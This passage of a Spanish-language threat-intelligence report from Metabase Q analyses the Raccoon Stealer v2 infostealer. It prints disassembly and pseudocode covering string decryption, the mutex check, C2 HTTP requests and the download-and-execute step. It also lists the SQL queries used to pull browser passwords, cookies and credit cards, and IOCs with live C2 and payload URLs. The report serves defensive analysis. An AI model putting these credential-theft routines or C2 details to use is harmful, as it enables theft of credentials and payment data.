.text:0032403B 018 A3 00 E4 32 00          mov     dword_32E400, eax
.text:00324040 018 B9 A8 C8 32 00          mov     ecx, offset unk_32C8A8
.text:00324045 018 E8 60 5F 00 00          call    string_decrypt_sub_F89FAA ; Call Procedure
.text:0032404A 018 6A 06                   push    6
.text:0032404C 01C BA B0 C8 32 00          mov     edx, offset aEe5d9c92e98f6e ; "ee5d9c92e98f6e65"
.text:00324051 01C A3 70 E2 32 00          mov     dword_32E270, eax
.text:00324056 01C B9 C4 C8 32 00          mov     ecx, offset unk_32C8C4
.text:0032405B 01C E8 4A 5F 00 00          call    string_decrypt_sub_F89FAA ; Call Procedure
.text:00324060 01C 6A 17                   push    17h
.text:00324062 020 BA CC C8 32 00          mov     edx, offset aEb61fa0c0119d7 ; "eb61fa0c0119d76f"
.text:00324067 020 A3 6C E4 32 00          mov     dword_32E46C, eax
.text:0032406C 020 B9 E0 C8 32 00          mov     ecx, offset unk_32C8E0
.text:00324071 020 E8 34 5F 00 00          call    string_decrypt_sub_F89FAA ; Call Procedure
.text:00324076 020 6A 16                   push    16h
.text:00324078 024 BA F8 C8 32 00          mov     edx, offset aD155a359da1496 ; "d155a359da1496be"
.text:0032407D 024 A3 F4 E3 32 00          mov     dword_32E3F4, eax
.text:00324082 024 B9 0C C9 32 00          mov     ecx, offset unk_32C90C
```

Figura 29. Llamadas a función que decodifica las strings del malware

Y a continuación, la lógica de ofuscación utilizada:

```
  esi1 = local_alloc_dword_F8E044(64, a3 + 1);
  ebx1 = 0;
  *(_BYTE *)(esi1 + a3) = 0;
  if ( a3 )
  {
    edi2 = a2 - esi1;
    do
    {
      cl3 = *(_BYTE *)(ebx1 % str_len_dword_F8E198(a1) + a1);
      edx3 = (_BYTE *)(ebx1 + esi1);
      al3 = cl3 ^ *(_BYTE *)(edi2 + ebx1 + esi1);
      ++ebx1;
      *edx3 = al3;
    }
    while ( ebx1 < a3 );
  }
  return esi1;
}
000093AA string_decrypt_sub_F89FAA:10 (329FAA)
```

Figura 30. Pseudocodigo de la funcion de decodificación

This information is property of Metabase Q, Inc., © All rights reserved

El siguiente script es creado para decodificar estas cadenas:

```
import pykd

while(True):

  bp_1 = hex(pykd.reg("eip"))

  if int(bp_1,16) == 0x6EA003:

     eax_add = hex(pykd.reg("eax"))

     string = pykd.loadCStr(int(eax_add, 16))

     print(string)

     # eip_add = hex(pykd.reg("eip"))

  elif int(bp_1, 16) == 0x6E49E9:

    print("termino")

     break

  pykd.go()
```

Cadenas interesantes descifradas:

7URL:%s
8USR:%s
9PASS:%s
15 - OS: %s
17 - RAM: %d MB
24 - Architecture: x%d
26 - CPU: %s (%d cores)
28 - Display Devices:
30formhistory.sqlite
39logins.json
40\autofill.txt
41\cookies.txt
42\passwords.txt
46Content-Type: application/x-www-form-urlencoded; charset=utf-8
47Content-Type: multipart/form-data; boundary=
48Content-Type: text/plain;
49User Data
50wallets
55token:
56nss3.dll
57sqlite3.dll
58SOFTWARE\Microsoft\Windows NT\CurrentVersion
60ProductName
61Web Data
62sqlite3_prepare_v2
63sqlite3_open16
64sqlite3_close
65sqlite3_step

This information is property of Metabase Q, Inc., © All rights reserved

66sqlite3_finalize
67sqlite3_column_text16
68sqlite3_column_bytes16
69sqlite3_column_blob
70SELECT origin_url, username_value, password_value FROM logins
71SELECT host_key, path, is_secure , expires_utc, name, encrypted_value FROM cookies
72SELECT name, value FROM autofill
75SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
76SELECT fieldname, value FROM moz_formhistory
77cookies.sqlite
78machineId=
79&configId=
80"encrypted_key":"
81stats_version":"
82Content-Type: application/x-object
83Content-Disposition: form-data; name="file"; filename="
84GET
85POST
87MachineGuid
88image/jpeg
89GdiPlus.dll
90Gdi32.dll
91GdiplusStartup
92GdipDisposeImage
93GdipGetImageEncoders
94GdipGetImageEncodersSize
95GdipCreateBitmapFromHBITMAP
96GdipSaveImageToFile
98CreateCompatibleBitmap
99CreateCompatibleDC
100DeleteObject
101GetObjectW
102SelectObject
103SetStretchBltMode
105SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards
106NUM:%s
107HOLDER:%s
108EXP:%s/%s
109\CC.txt
110NSS_Init
111NSS_Shutdown
114PK11_Authenticate
115PK11SDR_Decrypt
116SECITEM_FreeItem
117hostname":"
118","httpRealm":
119encryptedUsername":"
120","encryptedPassword":"
121","guid":
122Profiles
124ru

This information is property of Metabase Q, Inc., © All rights reserved

Estas cadenas nos amplían la idea acerca de lo que extrae el *malware*:

Información del equipo:

- Passwords and usernames
- Cookies
- Crypto wallets
- Tarjetas bancarias

MUTEX
Antes de que el malware infecte el sistema, este se asegura que solo un proceso de este virus se esté ejecutando en la computadora, este proceso lo hace mediante la creación de un mutex único, en este caso: "HJSIDHG#WOEJGSDGOHWEGHSDJG".

```
.text:00F87801
.text:00F87801                                          loc_F87801:
.text:00F87801 0F8 A1 68 E1 F8 00                       mov     eax, open_mutex_dword_F8E168
.text:00F87806 0F8 BE 80 DC F8 00                       mov     esi, offset aHjsidhgWoejgsd ; "HJSIDHG#WOEJGSDGOHWEGHSDJG"
.text:00F8780B 0F8 56                                   push    esi
.text:00F8780C 0FC 53                                   push    ebx
.text:00F8780D 100 68 01 00 1F 00                       push    1F0001h
.text:00F87812 104 FF D0                                call    eax ; open_mutex_dword_F8E168 ; Indirect Call Near Procedure
.text:00F87814 0F8 85 C0                                test    eax, eax        ; Logical Compare
.text:00F87816 0F8 75 0B                                jnz     short loc_F87823 ; Jump if Not Zero (ZF=0)
```

Figura 31. Función open mutex y el mutex

Tenemos los siguientes 2 escenarios:

1. Si el mutex existe, el proceso termina.
2. Si el mutex no existe entonces se genera uno y el programa continua su ejecución.

```
.text:00F87801
.text:00F87801                                          loc_F87801:
.text:00F87801 0F8 A1 68 E1 F8 00                       mov     eax, open_mutex_dword_F8E168
.text:00F87806 0F8 BE 80 DC F8 00                       mov     esi, offset aHjsidhgWoejgsd ; "HJSIDHG#WOEJGSDGOHWEGHSDJG"
.text:00F8780B 0F8 56                                   push    esi
.text:00F8780C 0FC 53                                   push    ebx
.text:00F8780D 100 68 01 00 1F 00                       push    1F0001h
.text:00F87812 104 FF D0                                call    eax ; open_mutex_dword_F8E168 ; Indirect Call Near Procedure
.text:00F87814 0F8 85 C0                                test    eax, eax        ; Logical Compare
.text:00F87816 0F8 75 0B                                jnz     short loc_F87823 ; Jump if Not Zero (ZF=0)
```

```
2
push    esi
push    ebx
push    ebx
call    create_mutex_dword_F8E104 ; Indirect Call Near Procedure
jmp     short loc_F8782B ; Jump
```

```
1
.text:00F87823
.text:00F87823                                          loc_F87823:
.text:00F87823 0F8 6A 02                                push    2
.text:00F87825 0FC FF 15 24 E0 F8 00                    call    exit_proc_dword_F8E024 ; I
```

Figura 32. Código de los 2 escenarios descritos

This information is property of Metabase Q, Inc., © All rights reserved

Después de esto nos encontramos la función donde las peticiones de HTTP son hechas. Se observa el uso del User-Agent “mozzzzzzzzzzz”:

```
                                        loc_327D8D:
02C A1 24 E1 32 00                      mov     eax, internet_open_dword_6EE124
02C 33 C9                               xor     ecx, ecx        ; Logical Exclusive OR
02C 51                                  push    ecx
030 51                                  push    ecx
034 51                                  push    ecx
038 51                                  push    ecx
03C 68 2C DB 32 00                      push    offset aMozzzzzzzzzzz ; "mozzzzzzzzzzz"
040 FF D0                               call    eax ; internet_open_dword_6EE124 ; Indirect Call Near Procedure
040 8B F0                               mov     esi, eax
040 89 75 EC                            mov     [ebp+var_14], esi
040 85 F6                               test    esi, esi        ; Logical Compare
040 0F 84 D4 00 00 00                   jz      loc_327E80      ; Jump if Zero (ZF=1)
```

Figura 33. Llamada al InternetOpenA API con su primer parámetro el User-Agentt

Después hace la petición HTTP y lee la respuesta.

```
.text:006E7E3B push    edi
.text:006E7E3C call    esi ; http_sen_req_dword_F8E010 ; Indirect Call Near Procedure
.text:006E7E3E test    eax, eax        ; Logical Compare
.text:006E7E40 jz      short loc_6E7E66 ; Jump if Zero (ZF=1)

.text:006E7E42 mov     esi, 0C350h
.text:006E7E47 jmp     short loc_6E7E54 ; Jump

.text:006E7E54
.text:006E7E54 loc_6E7E54:
.text:006E7E54 mov     eax, internet_read_file_dword_F8E0FC
.text:006E7E59 lea     ecx, [ebp+var_C] ; Load Effective Address
.text:006E7E5C push    ecx
.text:006E7E5D push    esi
.text:006E7E5E push    ebx
.text:006E7E5F push    edi
.text:006E7E60 call    eax ; internet_read_file_dword_F8E0FC ; Indirect Call Near Procedure
.text:006E7E62 test    eax, eax        ; Logical Compare
.text:006E7E64 jnz     short loc_6E7E49 ; Jump if Not Zero (ZF=0)

.text:006E7E49
.text:006E7E49 loc_6E7E49:
.text:006E7E49 mov     eax, [ebp+var_C]
.text:006E7E4C test    eax, eax        ; Logical Compare
.text:006E7E4E jz      short loc_6E7E66 ; Jump if Zero (ZF=1)
```

Figura 34. Codigo donde se lee la respuesta

```
Accept: */*\r\n
Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n
User-Agent: mozzzzzzzzzzz\r\n
Host: 206.188.196.200\r\n
Content-Length: 105\r\n
Connection: Keep-Alive\r\n
Cache-Control: no-cache\r\n
```

Figura 35. Petición HTTP

This information is property of Metabase Q, Inc., © All rights reserved

```
HTML Form URL Encoded: application/x-www-form-urlencoded
  Form item: "machineId" = "c0d[redacted]31d|ricardo martinez"
  Form item: "configId" = "ea6e085210142782ca765e8e63fe811d"
```

Figura 36. Datos enviados por la petición, machineId, user name y configId

Con la primera petición HTTP, el *malware* espera recibir una lista de IPs para descargar archivos adicionales como:

- vcruntime140.dll
- mozglue.dll
- msvcp140.dll
- nss3.dll
- sqlite3.dll
- softokn3.dll
- Freebl3.dll
- Eventvwr.exe

Una vez que los archivos son descargados, el *malware* hace una nueva petición con el User-Agent "qwrqrwrqwrqwr", cabe señalar que el malware usa 2 User-Agent distintos para realizar sus peticiones:

```
.text:00328553
.text:00328553                          loc_328553:             ; _DWORD
.text:00328553 81C 53                   push    ebx
.text:00328554 820 FF 15 8C E0 32 00    call    str_lenW_dword_6EE08C ; Indirect Call Near Procedure
.text:0032855A 81C A1 24 E1 32 00       mov     eax, internet_open_dword_6EE124
.text:0032855F 81C 33 C9                xor     ecx, ecx        ; Logical Exclusive OR
.text:00328561 81C 51                   push    ecx
.text:00328562 820 51                   push    ecx
.text:00328563 824 51                   push    ecx
.text:00328564 828 51                   push    ecx
.text:00328565 82C 68 6C DB 32 00       push    offset aQwrqrwrqwrqwr ; "qwrqrwrqwrqwr"
.text:0032856A 830 FF D0                call    eax ; internet_open_dword_6EE124 ; Indirect Call Near Procedure
.text:0032856C 81C 89 45 FC             mov     [ebp+var_4], eax
.text:0032856F 81C 85 C0                test    eax, eax        ; Logical Compare
.text:00328571 81C 0F 84 B2 00 00 00    jz      loc_328629      ; Jump if Zero (ZF=1)
```

Figura 37. Llamada a InternetOpenA API y su primer parámetro el User-Agent

Una vez descargados los archivos los guarda en disco y ejecuta via ShellExecute():

```
.text:00327698 02C 33 C0                xor     eax, eax        ; Logical Exclusive OR
.text:0032769A 02C 50                   push    eax             ; _DWORD
.text:0032769B 030 50                   push    eax             ; _DWORD
.text:0032769C 034 50                   push    eax             ; _DWORD
.text:0032769D 038 53                   push    ebx             ; _DWORD
.text:0032769E 03C 50                   push    eax             ; _DWORD
.text:0032769F 040 50                   push    eax             ; _DWORD
.text:003276A0 044 FF 15 14 E0 32 00    call    shell_execute_dword_F8E014 ; Indirect Call Near Procedure
```

Figura 38. Llamada a ShellExecute API

This information is property of Metabase Q, Inc., © All rights reserved

LLegamos a otra función donde se cargan distintos métodos para interactuar con los archivos “logins.json” y “formhistory.sqlite”, estos archivos se usan para guardar credenciales de acceso del navegador firefox y que de poder abrirlos se procede a descifrarlos:

```
if ( hModule )
{
  dword_7EE49C = (int (__cdecl *)(_DWORD))GetProcAddress_0(hModule, dword_7EE2BC);
  dword_7EE4B4 = GetProcAddress_0(hModule, nss_shutdonw_dword_7EE3EC);
  dword_7EE4B8 = (int)GetProcAddress_0(hModule, pk11_getinternel_key_dword_7EE428);
  dword_7EE4AC = (int)GetProcAddress_0(hModule, pk11_free_slot_dword_7EE378);
  dword_7EE4A8 = (int)GetProcAddress_0(hModule, pk11_authenticate_dword_7EE438);
  dword_7EE4A4 = (int)GetProcAddress_0(hModule, pk11_decrypt_dword_7EE474);
  dword_7EE490 = (int)GetProcAddress_0(hModule, free_item_dword_7EE284);
  dword_7EE494 = (int (__cdecl *)(_DWORD, _DWORD))GetProcAddress_0(hModule, sql_lite_open_dword_F8E1F8);
  dword_7EE4A0 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress_0(
                                                                          hModule,
                                                                          sql_lite_prepaere_dword_F8E1C4);
  dword_7EE498 = (int (__cdecl *)(_DWORD))GetProcAddress_0(hModule, dword_7EE234);
  GetProcAddress_0(hModule, lpProcName);
  dword_7EE4C0 = (int (__cdecl *)(_DWORD, _DWORD))GetProcAddress_0(hModule, dword_7EE1C0);
  dword_7EE4BC = (int (__cdecl *)(_DWORD))GetProcAddress_0(hModule, sql_lite_fin_dword_F8E1E0);
  dword_7EE4B0 = (int (__cdecl *)(_DWORD))GetProcAddress_0(hModule, dword_7EE208);
}
return dword_7EE49C && dword_7EE4B4 && dword_7EE4B8 && dword_7EE4A8 && dword_7EE4A4 && dword_7EE4AC;
```

Figura 39. Funciones para procesar archivos con información sensible

Ahora vemos donde se copia el archivo logins.json para su futuro uso.

```
v50 = host_name_dword_7EE398;
v42 = dword_7EE38C;
v49 = ecrypted_uname_dword_7EE2D4;
v48 = encrypte_pass_dword_7EE32C;
v46 = dword_7EE390;
v4 = local_alloc_dword_F8E044(64, 520);
v53 = local_alloc_dword_F8E044(64, 520);
v5 = off_7EE000(v4, a3, login_json_dword_7EE30C);
v45 = v5;
v6 = v53;
if ( !sub_7EA6CF() || !copy_fileW_dword_F8E184(v5, v53, 0) )
{
  local_free_dword_6EE0C8(v5);
  delete_fileW_dword_F8E0F4(v53);
```

Figura 40. Pseudocodigo para interactuar con logins.json

Al final de la función principal del malware tenemos un par de funciones más que se usan para enviar la información recolectada hacia el C2.

This information is property of Metabase Q, Inc., © All rights reserved

TTPs

Tactic	Technique	Description
Defense Evasion	T1140 – Deobfuscate/Decode Files or Information	Raccoon Stealer v2 decodes strings and the C2 configuration in the malware using RC4 and base64.
Defense Evasion	T1027 – Obfuscated Files or Information	Raccoon Stealer v2 uses RC4-encrypted strings.
Credential Access	T1539 – Steal Web Session Cookie	Raccoon Stealer v2 harvests cookies from popular browsers.
Credential Access	T1555.003 – Credentials from Password Stores: Credentials from Web Browsers	Raccoon Stealer v2 collects passwords from popular browsers.
Discovery	T1083 – File and Directory Discovery	Raccoon Stealer v2 lists files and directories to grab files through all disks.
Discovery	T1057 – Process Discovery	Raccoon Stealer v2 lists the current running processes on the system.
Discovery	T1012 – Query Registry	Raccoon Stealer v2 queries the Windows Registry key at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid to retrieve the MachineGuid value.
Discovery	T1518 – Software Discovery	Raccoon Stealer v2 lists all installed software for the infected machine, by querying the Windows Registry key at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\uninstall
Discovery	T1082 – System Information Discovery	Raccoon Stealer v2 collects OS version, host architecture, CPU information, RAM capacity and display device information.
Discovery	T1614 – System Time	Raccoon Stealer v2 collects the time zone information from the

This information is property of Metabase Q, Inc., © All rights reserved

	Discovery	system.
Collection	T1119 – Automated Collection	Raccoon Stealer v2 scans the disks and automatically collects files.
Collection	T1005 – Data from Local System	Raccoon Stealer v2 collects credentials of cryptocurrency wallets from the local system.
Collection	T1113 – Screen Capture	Raccoon Stealer v2 captures a screenshot of the victim's desktop.
Command and Control	T1071.001 – Application Layer Protocol: Web Protocols	Raccoon Stealer v2 uses HTTP for C2 communications.
Command and Control	T1041 – Exfiltration Over C2 Channel	Raccoon Stealer v2 exfiltrates data over the C2 channel.
Command and Control	T1105 – Ingress Tool Transfer	Raccoon Stealer v2 downloads legitimate third-party DLLs for data collection onto compromised hosts.
Execution	T1106 – Native API	Raccoon Stealer v2 has the ability to launch files using ShellExecuteW.
Defense Evasion	T1055.001 – Process Injection: Dynamic-link Library Injection	Raccoon Stealer v2 has the ability to load DLLs via LoadLibraryW and GetProcAddress.
Defense Evasion	T1407 – Download New Code at Runtime	Raccoon Stealer v2 downloads its next stage from a remote host

This information is property of Metabase Q, Inc., © All rights reserved

IOCs

Raccoon v2

- b167ba266d25d54ae5d7a85b6d30309e
- df7235fdc1423e6f24abf308cb880e34
- 7a89d5f1bfb27c4c1d5d0c5468eac933
- 25eb150db69b732d1b81efb69cf8281d

URLs:

- http://37[.]139[.]129[.]142/htdocs/QoWxABBXerGPCWw[.]exe
- http://206[.]188[.]196[.]200
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll
- http://206.188.196.200/
- http://206.188.196.200/33e9cbaade1b0d771e8b4a5feb8ad701
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
- http://206.188.196.200/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
- http://206.188.196.200/ae9c072741a9375509a70a2139258a20

Mutex:

- HJSIDHG#WOEJGSDGOHWEGHSDJG

User-Agent:

- mozzzzzzzzzzz
- qwrqrwrqwrqwr
- rqwrwqrqwrqw

CONCLUSIONES

Raccoon se logró ganar un puesto en el top 5 de Infostealers, la facilidad del manejo y operación de este malware lo ha hecho muy popular entre los cibercriminales, lleva ya más de 3 años en el mercado, por lo que ha sabido mejorar y evolucionar. En los siguientes meses podremos saber si detuvieron la operación, si tendremos un rebranding o más semillas de infostealers generando nuevos grupos. Ataques como el de Okta y Cisco, comenzaron con la venta de un stealer log, las credenciales filtradas por estos representan un riesgo potencial, más aún cuando estas, son credenciales a sistemas críticos en la infraestructura empresarial.

En Metabase Q, a través de nuestro servicio de Ocelot Threat Intelligence, monitoreamos este tipo de grupos en LATAM para ofrecer indicadores de ataque y compromiso a nuestros clientes que les

This information is property of Metabase Q, Inc., © All rights reserved

permita tomar acciones preventivas, ofrecemos contexto de estos adversarios para entender sus motivaciones, estrategias, técnicas que eventualmente junto con nuestro servicio de Takedown y apoyo de la policía local, borrarlos del ciberespacio. Finalmente, con nuestro servicio de APT Simulation, creamos este tipo de Ransomware en nuestro laboratorio y lo replicamos en la red de nuestros clientes de forma controlada, para fortalecer los controles de monitoreo, detección y respuesta en procesos, gente y tecnología.

This information is property of Metabase Q, Inc., © All rights reserved